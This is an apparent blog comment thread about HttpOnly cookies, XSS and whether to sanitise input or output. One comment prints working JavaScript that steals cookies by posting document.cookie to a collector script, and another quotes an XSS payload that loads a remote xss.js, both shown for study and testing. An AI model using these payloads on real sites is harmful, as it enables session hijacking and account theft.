Protecting Your Cookies: HttpOnly

blog
92

As others have pointed out, scrubbing input data is not the correct approach. Here’s why:

  1. The way data needs to be scrubbed depends on the context of how it is going to be used. You can’t know up front how the data will ultimately be used to you can’t make the proper decision of how it should be scrubbed when it is entered. For example, the OWASP sample scrubber routines distinguish between data that is going to be output as JavaScript, HTML Attributes, and raw HTML (as well as a couple others).

  2. You can’t guarantee that all data that ends up in your database will have come through your input scrubber. It can come from another compromised system, sql injection, or even flaws in your own input scrubber.

  3. Once you find out that XSS data exists in your database it is nearly impossible to fix. For example, if you find out that your original input scrubber was flawed you now have to figure out how to get rid of all of the problem data. If you use output scrubbing instead of input scrubbing you can simply alter your output scrubber and leave the data alone. Always assuming that the data could be bad means that it can stay bad in the database without impacting the application.

  4. There is no reason to scrub data more than once. You have to do it on output anyway for the reasons listed above.

  5. Other systems are likely to need the data and will puke if it is already scrubbed. Even if you don’t interface with any other systems now you never know when your boss is going to come to you and say that his boss wants to be able to run some simple queries using Crystal Reports in which your scrubbed input data can’t easily be unscrubbed before use.

  6. Scrubbed data can mess up certain types of SQL statements. For example, depending on your scrubbing mechanism, sorting might be broken. Like clauses may also not work correctly. You want the data in your database to be in a pure unaltered form for the best results.

These are just a few reasons. There could be many more.

93

Your JavaScript from the remote server is hardly ideal. Here is some better code I developed while researching this security issue. In order to create a deliberately vulnerable ASP.NET page I had to use two page directives: ValidateRequest=false and enableEventValidation=false

jscript = document.createElement(script);   
jscript.setAttribute(type, text/javascript); 
jscript.setAttribute(djConfig, isDebug: true);
jscript.setAttribute(src, <a href="http://o.aolcdn.com/dojo/1.1.1/dojo/dojo.xd.js);">http://o.aolcdn.com/dojo/1.1.1/dojo/dojo.xd.js);</a>   
document.getElementsByTagName('head')[0].appendChild(jscript); 
window.onload = func;
function func() {
	dojo.xhrPost({url:<a href="http://localhost/study/php/cookie-monster.php,">http://localhost/study/php/cookie-monster.php,</a> content:{u:document.links[0].innerText, l:document.links[0], c:document.cookie}});
}
94

Pretty neat solution. But this way, you are restricting the use of the cookie to HTTP. So you can’t use the cookie client side AND via XmlHTTPRequests…

So basically, why does one need a custom cookie? Why not just put the value in the ASP.NET Session? Like this:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Tue, 26 Aug 2008 10:51:08 GMT
Content-Length: 2838
95

I’d like to seek someone crack my PHP HTML sanitizer …

htmlspecialchars( $string , ENT_QUOTES )

:wink:

96

Is good to know that we rails developers are well covered…

$ ruby script/console 
Loading development environment (Rails 2.1.0)

 text = 'img src=<a href="http://www.a.com/a.jpgscript">http://www.a.com/a.jpgscript</a> type=text/javascript 
src=<a href="http://1.2.3.4:81/xss.js">http://1.2.3.4:81/xss.js</a> /img 
src=<a href="http://www.a.com/a.jpg/script'">http://www.a.com/a.jpg/script'</a>

 include ActionView::Helpers::SanitizeHelper
 sanitize(text) = img src= /img src= /

:slight_smile:

97

LOL it’s so funny how you take any opportunity possible to show that Microsoft’s software is better than the alternatives.

98

Once again an example, that shows that you should never (ever!) use cookies to secure a site

99

@Emmanuel

Neat-o… does Rails have an automated script to test all the known XSS attacks on ha.ckers.com?

http://ha.ckers.org/xss.html

I wouldn’t be surprised if one or two slipped by…

101

I’m a fan of HttpOnly

http://www.guidanceshare.com/wiki/ASP.NET_1.1_Security_Guidelines_-_Cross-Site_Scripting

102

Several questions have come up

Why was HttpOnly implemented by Microsoft on IE6 first
Why is HttpOnly broken on Firefox
Why is it not on all browsers
Why is it not on as standard

All of these have one answer - it is a patch to fix a symptom of bad coding and not a solution

It fixes (or partly fixes) one security hole out of a huge number, it is not a universal fix …

You should sanitize properly everything from the user or you will have a security problem …

103

I’d like to seek someone crack my PHP HTML sanitizer …

Google for htmlspecialchars vulnerability…

104

@correct you missed the point entirely and I have a hard time believing that you read what I had to say. Then again I think your comments been sanitized because I find your latest response barely intelligible. Command-line escaping? wtf?

@bex and others, you can’t, from today’s web servers, have enough information to detect all spoofed attacks, even with encrypted cookies. Buy a good stateful router/firewall, that’s my only point.

Also, you don’t just need to worry about XSS. You also need to worry about anything else in between you and a web site that steals cookies. If your friend next to you can steal your cookie, he can ‘replay’ an action and pretend to be you.

Also, can anyone explain why the ajax double-cookie is any sort of remedy? Maybe I’m just thick, but I don’t why it’s a silver bullet.

Also, if you only send authentication cookies over https, and never in plaintext, would xss exploits be able to steal them?

105

Why the insistence that IE7 is less broken than Firefox in regards to HttpOnly? I see the same bug in both at http://ha.ckers.org/httponly.cgi

106

Already pointed out but just to show more practical way to bypass HTTPOnly cookies take a look at XSS Tunelling - http://labs.portcullis.co.uk/application/xss-tunnelling/xss-tunnel/

Basically it’s a defense in depth approach and quite cheap to implement but obviously not the silver bullet.

107

Re: validating IP - as others have mentioned, the assumption that changed IP == attempted hack will run into false-positive problems on users from some banks (and perhaps other large companies / AOL users / whatever, but I’m sure about the banks). It’s unfortunate.

108

Wouldn’t…

XMLHttpRequest.prototype.__defineGetter__('getAllResponseHeaders', function(){ });

be a good workaround for Firefox’s issue?

109

Now they’ll have to copy the html of the login screen with the expired session message and have their javascript output that instead of stealing the cookies.

110

So, where’s the post on what exactly was wrong with the html sanitizer and how exactly you fixed it? Or is that too narrow focus for the blog. :slight_smile:

113

It’s a difficult scenario, because you can’t just clobber every questionable thing that comes over the wire from the user.

You do.

114

@Jonah hits it on the head. There’s always a way to hijack a session, even if it’s walking up to an unattended computer. Any critical / costly action should require the user to retype their password (or some secondary authentication method).

At least HttpOnly can try to limit what browser scripts can do, and it’s a step in the right direction, but as others point out, it’s not yet a total fix.

Another fix I can think of would be if running script couldn’t load other scripts on the fly (ie via eval), and your web framework would inspect every pages output and remove any scripts references / and perhaps even not allow inline scripts, you could be a lot safer.

Unfortunately there are a lot of vectors of attack, and it’s currently very easy for a developer to screw up.